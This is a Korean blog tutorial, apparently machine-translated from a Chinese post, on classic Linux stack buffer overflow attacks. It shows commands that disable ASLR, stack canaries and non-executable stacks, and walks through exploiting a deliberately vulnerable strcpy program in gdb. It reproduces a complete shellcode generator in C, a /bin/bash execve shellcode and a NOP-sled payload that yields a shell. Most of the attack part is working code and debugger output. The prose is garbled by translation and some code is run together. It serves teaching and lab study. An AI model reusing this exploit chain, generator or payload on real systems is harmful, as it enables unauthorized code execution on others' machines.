리 눅 스에 서 기본 스 택 넘 침 공격

전재 출처 를 밝 혀 주 십시오:http://blog.csdn.net/wangxiaolong_china
 
1.1    Linux 스 택 넘 침 보호 메커니즘
기본 적 인 스 택 오 버 공격 은 최초 로 발생 한 버퍼 오 버 공격 방법 으로 모든 다른 버퍼 오 버 공격 의 기초 입 니 다.그러나 이러한 공격 방법 이 발생 하 는 시간 이 비교적 길 기 때문에 GCC 컴 파일 러, Linux 운영 체 제 는 이러한 공격 방법 이 시스템 에 해 를 끼 치 는 것 을 막 는 메커니즘 을 제공 했다.다음은 먼저 기 존의 스 택 을 보호 하 는 체제 와 해당 하 는 보호 체 제 를 닫 는 방법 을 알 아 보고 기본 스 택 의 넘 침 을 분석 하 는 데 좋 은 실험 환경 을 제공 했다.
1.       메모리 주소 랜 덤 화 메커니즘
우 분투 와 리 눅 스 커 널 을 기반 으로 한 다른 시스템 에 서 는 현재 메모리 주소 에 따라 스 택 을 초기 화 하 는 시스템 을 사용 하고 있어 구체 적 인 메모리 주 소 를 추측 하 는 데 어려움 을 겪 을 것 이다.
메모리 주소 랜 덤 화 메커니즘 을 닫 는 방법 은:
sysctl –w kernel.randomize_va_space=0
2.       실행 가능 한 프로그램의 차단 보호 메커니즘
Federal 시스템 에 대해 서 는 기본적으로 실행 가능 한 프로그램의 차단 보호 체 제 를 실행 합 니 다. 이 체 제 는 스 택 에 저 장 된 코드 를 실행 할 수 없습니다. 이 는 버퍼 오 버 공격 을 무효 화 할 수 있 습 니 다.반면 우 분투 시스템 에 서 는 기본적으로 이런 메커니즘 이 적용 되 지 않 았 다.
실행 가능 한 프로그램의 차단 보호 메커니즘 을 닫 는 방법 은:
sysctl –w kernel.exec-shield=0
3.       gcc 컴 파일 러 gs 인증 코드 메커니즘
gcc 컴 파 일 러 는 버퍼 가 넘 치 는 것 을 방지 하기 위 한 보호 조 치 를 취 합 니 다. 구체 적 인 방법 은 gcc 가 버퍼 에 쓰기 전에 buf 의 끝 주 소 를 되 돌려 주기 전에 무 작위 gs 인증 코드 를 넣 고 버퍼 에 쓰기 작업 이 끝 날 때 이 값 을 검사 하 는 것 입 니 다.보통 버퍼 가 넘 치면 낮은 주소 에서 높 은 주소 로 메모 리 를 덮어 씁 니 다. 따라서 주 소 를 되 돌려 쓰 려 면 이 gs 인증 코드 를 덮어 써 야 합 니 다.이렇게 하면 쓰기 전과 쓰기 후 gs 인증 코드 의 데 이 터 를 비교 하여 넘 치 는 지 여 부 를 판단 할 수 있 습 니 다.
gcc 컴 파 일 러 gs 인증 코드 메커니즘 을 닫 는 방법 은:
gcc 컴 파일 시 - fno - stack - protector 옵션 을 사용 합 니 다.
4.       ld 링크 기 스 택 세그먼트 실행 불가 메커니즘
ld 링크 기 는 링크 프로그램 에 있 을 때 모든. o 파일 의 스 택 세그먼트 가 실행 불 능 으로 표시 되면 전체 라 이브 러 리 의 스 택 세그먼트 가 실행 불 능 으로 표 시 됩 니 다.반면, 0 파일 의 스 택 만 실행 가능 한 것 으로 표시 되 더 라 도 전체 라 이브 러 리 의 스 택 은 실행 가능 한 것 으로 표 시 됩 니 다.스 택 세그먼트 의 실행 가능성 을 검사 하 는 방법 은:
ELF 라 이브 러 리 검사: readelf - LW $BIN | grep GNUSTACK E 태그 가 있 는 지 확인
생 성 된. o 파일 검사: scanelf - e $BIN X 태그 가 있 는 지 확인
ld 링크 기 가 스 택 세그먼트 를 실행 할 수 없 는 것 으로 표시 하면 eip 를 제어 하 더 라 도 세그먼트 오류 가 발생 할 수 있 습 니 다.
ld 링크 기 실행 불가 메커니즘 을 닫 는 방법 은:
gcc 컴 파일 시 - z execstack 옵션 을 사용 합 니 다.
 
1.1   기본 스 택 오 버 공격 원리 및 실험
다음은 스 택 넘 침 공격 의 예 를 들 어 기본 적 인 스 택 넘 침 공격 의 상세 한 방법 절 차 를 상세히 설명 한다.
시험 을 하기 전에 먼저 위 에서 설명 한 방법 을 이용 하여 해당 하 는 스 택 보호 체 제 를 닫 습 니 다.
root@linux:~/pentest# sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
root@linux:~/pentest# sysctl -w kernel.exec-shield=0
error: "kernel.exec-shield" is an unknown key

코드 는 다음 과 같 습 니 다:
root@linux:~/pentest# cat vulnerable.c
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
	
	char buffer[500];
	strcpy(buffer, argv[1]);

	return 0;
}

원본 코드 컴 파일:
root@linux:~/pentest# gcc -fno-stack-protector -z execstack -g -o vulnerable vulnerable.c

gdb 로 프로그램 디 버 깅 하기:
root@linux:~/pentest# gdb vulnerable
GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/pentest/vulnerable...done.
(gdb) disass main
Dump of assembler code for function main:
   0x080483c4 <+0>:	push   %ebp
   0x080483c5 <+1>:	mov    %esp,%ebp
   0x080483c7 <+3>:	and    {1}xfffffff0,%esp
   0x080483ca <+6>:	sub    {1}x210,%esp
   0x080483d0 <+12>:	mov    0xc(%ebp),%eax
   0x080483d3 <+15>:	add    {1}x4,%eax
   0x080483d6 <+18>:	mov    (%eax),%eax
   0x080483d8 <+20>:	mov    %eax,0x4(%esp)
   0x080483dc <+24>:	lea    0x1c(%esp),%eax
   0x080483e0 <+28>:	mov    %eax,(%esp)
   0x080483e3 <+31>:	call   0x80482f4 <strcpy@plt>
   0x080483e8 <+36>:	mov    {1}x0,%eax
   0x080483ed <+41>:	leave  
   0x080483ee <+42>:	ret    
End of assembler dump.
(gdb)

이때 strcpy 를 호출 하기 전에 main 함수 스 택 프레임 구조 분석 은 다음 그림 과 같다.
이때 스 택 프레임 분포 에 따 르 면 eip 의 값 을 제어 하려 면 buffer [500] 에 적어도 508 B 의 내용 을 입력 해 야 합 니 다.
다음 에 우 리 는 gdb 로 디 버 깅 을 계속 합 니 다.
(gdb) b *main+41
Breakpoint 1 at 0x80483ed: file vulnerable.c, line 11.
(gdb) r `perl -e 'print "\x41"x508'`
Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x508'`

Breakpoint 1, main (argc=2, argv=0xbffff264) at vulnerable.c:11
11	}
(gdb) c
Continuing.

Program exited normally.
(gdb)

buffer 에 508 글자 의 내용 을 입력 하고 프로그램 이 정상적으로 종료 되 고 종 료 됩 니 다.이것 은 창고 가 넘 치지 않 았 고 데 이 터 를 너무 적 게 채 웠 다 는 것 을 설명 한다.그러나 앞에서 우리 가 분석 한 바 와 같이 프로그램 이론 에 스 택 이 넘 치면 508 글자 가 필요 하 다.문제 가 어디 에 있 을까요?코드 와 어 셈 블 리 후의 코드 를 다시 분석 하면 우 리 는 문제 가 발생 하 는 원인 은 '0x080483 c7 < + 3 >' 에 있다 는 것 을 알 수 있다.       and    $0xffffff f0,% esp 라 는 문구 입 니 다.다음은 gdb 디 버 깅 을 계속 사용 하여 이 문구 가 우리 의 넘 치 는 것 에 어떻게 영향 을 미 치 는 지 분석 할 것 입 니 다.
(gdb) disass main
Dump of assembler code for function main:
   0x080483c4 <+0>:	push   %ebp
   0x080483c5 <+1>:	mov    %esp,%ebp
   0x080483c7 <+3>:	and    {1}xfffffff0,%esp
   0x080483ca <+6>:	sub    {1}x210,%esp
   0x080483d0 <+12>:	mov    0xc(%ebp),%eax
   0x080483d3 <+15>:	add    {1}x4,%eax
   0x080483d6 <+18>:	mov    (%eax),%eax
   0x080483d8 <+20>:	mov    %eax,0x4(%esp)
   0x080483dc <+24>:	lea    0x1c(%esp),%eax
   0x080483e0 <+28>:	mov    %eax,(%esp)
   0x080483e3 <+31>:	call   0x80482f4 <strcpy@plt>
   0x080483e8 <+36>:	mov    {1}x0,%eax
   0x080483ed <+41>:	leave  
   0x080483ee <+42>:	ret    
End of assembler dump.
(gdb) b *main+3
Breakpoint 2 at 0x80483c7: file vulnerable.c, line 4.
(gdb) b *main+6
Breakpoint 3 at 0x80483ca: file vulnerable.c, line 4.
(gdb) r `perl -e 'print "\x41"x508'`
Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x508'`

Breakpoint 2, 0x080483c7 in main (argc=2, argv=0xbffff264) at vulnerable.c:4
4	int main(int argc, char **argv) {
(gdb) i r esp
esp            0xbffff1b8	0xbffff1b8
(gdb) c
Continuing.

Breakpoint 3, 0x080483ca in main (argc=2, argv=0xbffff264) at vulnerable.c:4
4	int main(int argc, char **argv) {
 (gdb) i r esp
esp            0xbffff1b0	0xbffff1b0
(gdb)

디 버 깅 을 통 해 "0x080483 c7 < + 3 >: and" 를 실행 하고 있 음 을 알 수 있 습 니 다.    $0xffffff f0,% esp '문 구 를 실행 하기 전에 esp 의 값 은' 0xbfffff 1b8 '이 고 이 문 구 를 실행 한 후에 esp 의 값 은' 0xbfffff 1b0 '입 니 다.그러므로 esp 의 값 이 8 감소 했다. 즉, eip 의 값 을 제어 하려 면 8 자 를 더 채 워 야 한다. 즉, 516 글자 로 buffer 를 채 워 야 한다.
(gdb) r `perl -e 'print "\x41"x516'`
Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x516'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)

넘 침 성공 을 볼 수 있 습 니 다!
다음은 gdb 디 버 깅 으로 넘 치 는 과정 을 보고 구체 적 인 분석 은 쓰 지 않 겠 습 니 다. gdb 에 익숙 하면 이 디 버 깅 정보 에 대해 한눈 에 알 수 있 을 것 이 라 고 믿 습 니 다.
(gdb) b *main+41
Breakpoint 1 at 0x80483ed: file vulnerable.c, line 11.
(gdb) r `perl -e 'print "\x41"x516'`
Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x516'`

Breakpoint 1, main (argc=0, argv=0xbffff254) at vulnerable.c:11
11	}
(gdb) i r ebp
ebp            0xbffff1a8	0xbffff1a8
(gdb) i r esp
esp            0xbfffef90	0xbfffef90
(gdb) i r eip
eip            0x80483ed	0x80483ed <main+41>
(gdb) x/550bx $esp
0xbfffef90:	0xac	0xef	0xff	0xbf	0xf6	0xf3	0xff	0xbf
0xbfffef98:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xbfffefa0:	0xa4	    0xf0	    0xff	    0xbf   	0x08	0x00	0x00	0x00
0xbfffefa8:	0x3c  	0xd5	0x12	0x00	0x41	0x41	0x41	0x41
0xbfffefb0:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0xbfffefb8:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0xbfffefc0:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0xbfffefc8:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0xbfffefd0:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0xbfffefd8:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
………………………………………………………………………………………………
0xbffff198:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0xbffff1a0:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0xbffff1a8:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0xbffff1b0:	0x00	0x00	0x00	0x00	0x54	0xf2
(gdb) 
(gdb) stepi
0x080483ee in main (argc=0, argv=0xbffff254) at vulnerable.c:11
11	}
(gdb) i r ebp
ebp            0x41414141	0x41414141
(gdb) i r esp
esp            0xbffff1ac	0xbffff1ac
(gdb) i r eip
eip            0x80483ee	0x80483ee <main+42>
(gdb) x/10bx $esp
0xbffff1ac:	0x41	0x41	0x41	0x41	0x00	0x00	0x00	0x00
0xbffff1b4:	0x54	0xf2
(gdb) stepi
0x41414141 in ?? ()
(gdb) i r eip
eip            0x41414141	0x41414141
(gdb)

eip 가 주 소 를 되 돌려 주 는 위 치 를 찾 았 으 니 주 소 를 되 돌려 주 고 프로그램의 실행 절 차 를 제어 할 수 있 습 니 다.
다음은 셸 코드 가 필요 합 니 다. 셸 코드 를 어떻게 만 드 는 지 에 대한 문 제 는 다음 절 로 남 겨 두 었 습 니 다. 이 절 에서 우 리 는 인터넷 에서 찾 은 셸 코드 생 성 프로그램 을 사용 하여 셸 코드 를 만 듭 니 다.Shellcode 생 성 프로그램 원본:
/*
[] Shellcode Generator null byte free. []
[] Author: certaindeath            []
[] Site: certaindeath.netii.net (at the moment under construction)	 []
[] This program generates a shellcode which uses the stack to store the command (and its arguments).   []
[] Afterwords it executes the command with the system call "execve". []
[] The code is a bit knotty, so if you want to understand how it works, I've added an example of assembly at the end.	[]
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <linux/types.h>
#define SETRUID 0 //set this to 1 if you want the shellcode to do setreuid(0,0) before the shell command

void print_c(__u8*,int);
void push_shc(__u8*, char*, int*);
int main(int argc, char *argv[]){
	char cmd[255], *a;
	FILE *c;
	int k=0, totl=(SETRUID ? 32:22), b,b1, i, tmp=0, shp=2;
	__u8 *shc,start[2]={0x31,0xc0}, end[16]={0xb0,0x0b,0x89,0xf3,0x89,0xe1,0x31,0xd2,0xcd,0x80,0xb0,0x01,0x31,0xdb,0xcd,0x80}, struid[10]={0xb0,0x46,0x31,0xdb,0x31,0xc9,0xcd,0x80,0x31,0xc0};

	if(argc<2){
		printf(" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
" "| Shellcode Generator |
" "| by certaindeath |
" "| |
" "| Usage: ./generator <cmd> |
" " ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
"); _exit(1); } a=(char *)malloc((9+strlen(argv[1]))*sizeof(char)); //find the command path a[0]=0; strcat(a, "whereis "); strcat(a, argv[1]); c=popen(a, "r"); while(((cmd[0]=fgetc(c))!=' ')&&(!feof(c))); while(((cmd[k++]=fgetc(c))!=' ')&&(!feof(c))); cmd[--k]=0; if(k==0){ printf("No executables found for the command \"%s\".
", argv[1]); _exit(1); } if(strlen(cmd)>254){ printf("The lenght of the command path can't be over 254 bye.
"); _exit(1); } for(i=2;i<argc;i++) if(strlen(argv[i])>254){ printf("The lenght of each command argument can't be over 254 byte.
"); _exit(1); } //work out the final shellcode lenght b=(k%2); b1=(b==1) ? (((k-1)/2)%2) : ((k/2)%2); totl+=(6+5*((k-(k%4))/4)+4*b1+7*b); for(i=2; i<argc;i++){ k=strlen(argv[i]); b=(k%2); b1=(b==1) ? (((k-1)/2)%2) : ((k/2)%2); totl+=(6+5*((k-(k%4))/4)+4*b1+7*b); } totl+=4*(argc-2); printf("Shellcode lenght: %i
", totl); //build the shellcode shc=(__u8 *)malloc((totl+1)*sizeof(__u8)); memcpy(shc, start, 2); if(SETRUID){ memcpy(shc+shp, struid, 10); shp+=10; } if(argc>2) push_shc(shc, argv[argc-1], &shp); else push_shc(shc, cmd, &shp); memset(shc+(shp++), 0x89, 1); memset(shc+(shp++), 0xe6, 1); if(argc>2){ for(i=argc-2;i>1;i--) push_shc(shc, argv[i], &shp); push_shc(shc, cmd, &shp); } memset(shc+(shp++), 0x50, 1); memset(shc+(shp++), 0x56, 1); if(argc>2){ for(i=argc-2;i>1;i--){ memset(shc+(shp++), 0x83, 1); memset(shc+(shp++), 0xee, 1); memset(shc+(shp++), strlen(argv[i])+1, 1); memset(shc+(shp++), 0x56, 1); } memset(shc+(shp++), 0x83, 1); memset(shc+(shp++), 0xee, 1); memset(shc+(shp++), strlen(cmd)+1, 1); memset(shc+(shp++), 0x56, 1); } memcpy(shc+shp, end, 16); print_c(shc,totl); return 0; } void print_c(__u8 *s,int l){ int k; for(k=0;k<l;k++){ printf("\\x%.2x", s[k]); if(((k+1)%8)==0) printf("
"); } printf("
"); } void push_shc(__u8 *out, char *str, int *sp){ int i=strlen(str), k, b, b1, tmp=i; __u8 pushb_0[6]={0x83,0xec,0x01,0x88,0x04,0x24},pushb[6]={0x83,0xec,0x01,0xc6,0x04,0x24}; memcpy(out+(*sp), pushb_0, 6); *sp+=6; for(k=0;k<((i-(i%4))/4);k++){ memset(out+((*sp)++), 0x68, 1); tmp-=4; memcpy(out+(*sp), str+tmp, 4); *sp+=4; } b=(i%2); b1=(b==1) ? (((i-1)/2)%2) : ((i/2)%2); if(b1){ memset(out+((*sp)++), 0x66, 1); memset(out+((*sp)++), 0x68, 1); tmp-=2; memcpy(out+(*sp), str+tmp, 2); *sp+=2; } if(b){ memcpy(out+(*sp), pushb, 6); *sp+=6; memcpy(out+((*sp)++), str+(--tmp), 1); } } /* Here is the assembly code of a shellcode which executes the command "ls -l /dev". This is the method used by the shellcode generator. .global _start _start: xorl %eax, %eax ;clear eax subl $1, %esp ; "/dev" pushed into the stack with a null byte at the end movb %al, (%esp) push {1}x7665642f movl %esp, %esi ;esp(address of "/dev") is saved in esi subl $1, %esp ;"-l" pushed into the stack with a null byte at the end movb %al, (%esp) pushw {1}x6c2d subl $1, %esp ;"/bin/ls" pushed into the stack with a null byte at the end movb %al, (%esp) push {1}x736c2f6e pushw {1}x6962 subl $1, %esp movb {1}x2f, (%esp) ;now the vector {"/bin/ls", "-l", "/dev", NULL} will be created into the stack push %eax ;the NULL pointer pushed into the stack push %esi ;the address of "/dev" pushed into the stack subl $3, %esi ;the lenght of "-l"(with a null byte) is subtracted from the address of "/dev" push %esi ;to find the address of "-l" and then push it into the stack subl $8, %esi ;the same thing is done with the address of "/bin/ls" push %esi movb $11, %al ;finally the system call execve("/bin/ls", {"/bin/ls", "-l", "/dev", NULL}, 0) movl %esi, %ebx ;is executed movl %esp, %ecx xor %edx, %edx int {1}x80 movb $1, %al ;_exit(0); xor %ebx, %ebx int {1}x80 */

사용 방법 은:
root@linux:~/pentest# gcc -o shellcode_generator shellcode_generator.c
root@linux:~/pentest# ./shellcode_generator /bin/bash
Shellcode lenght: 45
\x31\xc0\x83\xec\x01\x88\x04\x24
\x68\x62\x61\x73\x68\x68\x62\x69
\x6e\x2f\x83\xec\x01\xc6\x04\x24
\x2f\x89\xe6\x50\x56\xb0\x0b\x89
\xf3\x89\xe1\x31\xd2\xcd\x80\xb0
\x01\x31\xdb\xcd\x80
root@linux:~/pentest#

현재 buffer 를 채 워 주 소 를 되 돌려 주 는 방안 을 제공 합 니 다. (유일한 것 이 아니 라 실행 가능 한 방안 만 제공 합 니 다)
#################################################################
“\x90” * 431  +  shellcode(45) +  셸 코드 주소 (4 바이트) * 10 ==  516B
#################################################################
그 중에서 '\ x90' 은 NOP 빈 명령 을 대표 하기 때문에 셸 코드 주 소 는 buffer 시작 주소 와 셸 코드 시작 주소 사이 의 임의의 주소 로 바 꿀 수 있 습 니 다.
지금까지 우 리 는 우리 의 넘 치 는 코드 를 구 조 했 습 니 다. 다음 과 같 습 니 다.
(gdb) run `perl -e 'print 

"\x90"x431,"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80","\xac\xef\xff\xbf"x10'`

The program being debugged has beenstarted already.

Start it from the beginning? (y or n)y

Starting program:/root/pentest/vulnerable `perl -e 'print

"\x90"x431,"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x83\xec\x01\xc6

\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80",

"\xac\xef\xff\xbf"x10'`

process3724 is executing new program: /bin/bash

root@linux:/root/pentest# exit

exit

Program exited normally.

(gdb)

우리 의 넘 치 는 코드 가 셸 코드 를 성공 적 으로 실행 하고 해당 하 는 셸 을 얻 었 음 을 알 수 있 습 니 다.
여기까지 스 택 오 버 공격 성공.
 
첨부:% gs 인증 코드 가 존재 하기 때문에% gs 검증 을 열 때 위의 방안 은 gdb 디 버 깅 환경 에서 스 택 넘 침 을 성공 적 으로 완성 할 수 있 습 니 다.

좋은 웹페이지 즐겨찾기